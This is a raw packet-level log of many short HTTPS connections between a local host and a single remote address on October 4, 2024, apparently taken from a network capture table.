Oct 4, 2024 09:53:11.905726910 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905754089 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.905769110 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.907999039 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.908039093 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.908119917 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.908243895 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.908268929 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.916050911 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.916359901 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.916374922 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.916723967 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.916733980 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.939155102 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.939466953 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.939548016 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.939760923 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.939789057 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.940716028 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.941025972 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.941085100 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.941395998 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.941410065 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.993208885 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.993499041 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.993531942 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.993820906 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.993830919 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.016379118 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.017375946 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.017448902 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.017488003 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.017512083 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.017534971 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.017546892 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.019702911 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.019800901 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.019885063 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.020006895 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.020030975 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.040224075 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.040313005 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.040380001 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.040481091 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.040502071 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.040549994 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.040563107 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.042334080 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.042421103 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.042515993 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.042620897 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.042655945 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.049382925 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.049438000 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.049488068 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.049552917 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.049563885 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.049599886 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.049611092 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.051070929 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.051161051 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.051235914 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.051332951 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.051367044 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093446016 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093723059 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093786001 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.093811035 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093842030 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093890905 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.093920946 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.093940020 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.093961954 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.093974113 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.095530987 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.095563889 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.095633030 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.095733881 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.095747948 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.562459946 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.563086987 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.563164949 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.563436985 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.563450098 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.661722898 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.661943913 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.662308931 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.662494898 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.662497044 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.662496090 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.662496090 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.662554979 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.662801027 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.662816048 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.664885998 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.664975882 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.665071011 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.665169001 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.665191889 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.696506023 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.697761059 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.703986883 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.704049110 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.704175949 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.704235077 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.704514980 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.704530954 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.704585075 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.704597950 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.755620956 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.755959034 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.755966902 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.756340981 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.756345987 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.763540030 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.763698101 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.763776064 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.764141083 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.764141083 CEST	57123	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.764209032 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.764251947 CEST	443	57123	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.766361952 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.766391993 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.766459942 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.766588926 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.766596079 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.799664974 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.799724102 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.799774885 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.799793959 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.799824953 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.799827099 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.799881935 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.799952984 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.799990892 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.800015926 CEST	57125	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.800029039 CEST	443	57125	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.801079988 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.801242113 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.801312923 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.801425934 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.801425934 CEST	57124	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.801467896 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.801495075 CEST	443	57124	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.802169085 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.802253962 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.802331924 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.802512884 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.802550077 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.803689003 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.803771973 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.803853035 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.803952932 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.803976059 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.860636950 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.860794067 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.860868931 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.860960007 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.860960960 CEST	57126	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.860976934 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.860996962 CEST	443	57126	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.862953901 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.862977028 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.863023043 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.863146067 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.863153934 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:12.977598906 CEST	57122	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:12.977649927 CEST	443	57122	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.323641062 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.324554920 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.324616909 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.325047016 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.325083971 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.409862995 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.410360098 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.410372972 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.410775900 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.410780907 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.426495075 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.426565886 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.426690102 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.426722050 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.426867008 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.426867008 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.426867008 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.429740906 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.429833889 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.429945946 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.430082083 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.430105925 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.447753906 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.448340893 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.448402882 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.448788881 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.448843002 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.449074030 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.449492931 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.449589014 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.449686050 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.449703932 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.507602930 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508028030 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.508038998 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508084059 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508260965 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.508269072 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508296013 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508354902 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.508389950 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.508399963 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.508409023 CEST	57128	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.508414984 CEST	443	57128	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.510426044 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.510513067 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.510597944 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.510720015 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.510745049 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.545093060 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.545928955 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.546117067 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.546117067 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.546117067 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.547622919 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.547782898 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.547827959 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.547910929 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.547955036 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.547955036 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.547955036 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.547982931 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.548080921 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.548105001 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.549640894 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.549726963 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.549818039 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.549947977 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.549989939 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.610935926 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.610956907 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.610986948 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.611004114 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.611027956 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.611175060 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.611188889 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.611196995 CEST	57131	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.611202002 CEST	443	57131	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.613002062 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.613085032 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.613173008 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.613286972 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.613322020 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.727794886 CEST	57127	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.727859974 CEST	443	57127	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.774499893 CEST	57129	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.774501085 CEST	57130	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:13.774565935 CEST	443	57129	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:13.774600029 CEST	443	57130	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.078038931 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.078649998 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.078682899 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.079061985 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.079067945 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.158489943 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.158956051 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.159029007 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.159403086 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.159415960 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.186325073 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.186459064 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.186638117 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.186650038 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.186680079 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.186786890 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.186786890 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.186786890 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.187004089 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.187014103 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.189112902 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.189199924 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.189280987 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.189385891 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.189407110 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.225136995 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.225450993 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.225509882 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.225779057 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.225792885 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.259172916 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.259299994 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.259356022 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.259419918 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.259434938 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.259447098 CEST	57133	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.259453058 CEST	443	57133	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.261204004 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.261287928 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.261359930 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.261456013 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.261481047 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.288325071 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.288618088 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.288695097 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.288969040 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.288984060 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.292507887 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.292572975 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.292623043 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.292799950 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.292799950 CEST	57134	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.292817116 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.292835951 CEST	443	57134	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.294487953 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.294542074 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.294625044 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.294719934 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.294735909 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.328423977 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.328484058 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.328553915 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.328613997 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.328660965 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.328660965 CEST	57135	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.328680038 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.328814030 CEST	443	57135	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.330409050 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.330496073 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.330574989 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.330701113 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.330724955 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.396151066 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.396203995 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.396251917 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.396498919 CEST	57136	443	192.168.2.4	13.107.246.45
